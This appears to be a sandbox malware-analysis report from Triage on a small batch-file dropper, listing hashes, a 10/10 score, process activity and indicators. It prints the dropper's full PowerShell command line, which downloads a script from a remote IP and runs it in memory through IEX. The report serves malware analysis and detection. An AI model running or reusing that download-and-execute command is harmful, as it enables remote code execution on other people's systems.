f18541c904b443f13026355bd0f39b9e380f708cbc6799da5de746e3fc980962 | Triage

Analysis

max time kernel
126s
max time network
150s
platform
windows10_x64
resource
win10v200430
submitted
05-05-2020 00:10

Sharing

Report Analysis Logs

General

Target

JFh52PBG.bat
Size

195B
MD5

27cfb7797118873eddaffa1b3dfa352a
SHA1

04332f9742db8be098ffc355c45e223e2aac778c
SHA256

f18541c904b443f13026355bd0f39b9e380f708cbc6799da5de746e3fc980962
SHA512

70584344af74c6ea7d80df5956c9fd95877a69e041053194949d30f84f327373d2a2b6328cbb03ef06e6b102736c49c09a77f8356c92530d7d13699f3f846ae5

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/JFh52PBG

Signatures

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

2084 1884 WerFault.exe powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

WerFault.exe

description pid process

Token: SeRestorePrivilege 2084 WerFault.exe
Token: SeBackupPrivilege 2084 WerFault.exe
Token: SeDebugPrivilege 2084 WerFault.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

Processes:

WerFault.exe

pid	process
2084	WerFault.exe
2084	WerFault.exe
2084	WerFault.exe
2084	WerFault.exe
2084	WerFault.exe
2084	WerFault.exe
2084	WerFault.exe
2084	WerFault.exe
2084	WerFault.exe
2084	WerFault.exe
2084	WerFault.exe
2084	WerFault.exe
2084	WerFault.exe
2084	WerFault.exe

Makes http(s) request 1 IoCs
Contacts server via http/https, possibly for C2 communication.

Processes:

description flow ioc

HTTP URL 4 http://www.msftconnecttest.com/connecttest.txt

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\JFh52PBG.bat"
1⤵
PID:1612

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/JFh52PBG');Invoke-THAXPPVWDAAX;Start-Sleep -s 10000"
2⤵
PID:1884

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1884 -s 704
3⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:2084

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2084-0-0x0000000004290000-0x0000000004291000-memory.dmp

Filesize
4KB

Download
memory/2084-1-0x00000000048C0000-0x00000000048C1000-memory.dmp

Filesize
4KB

Download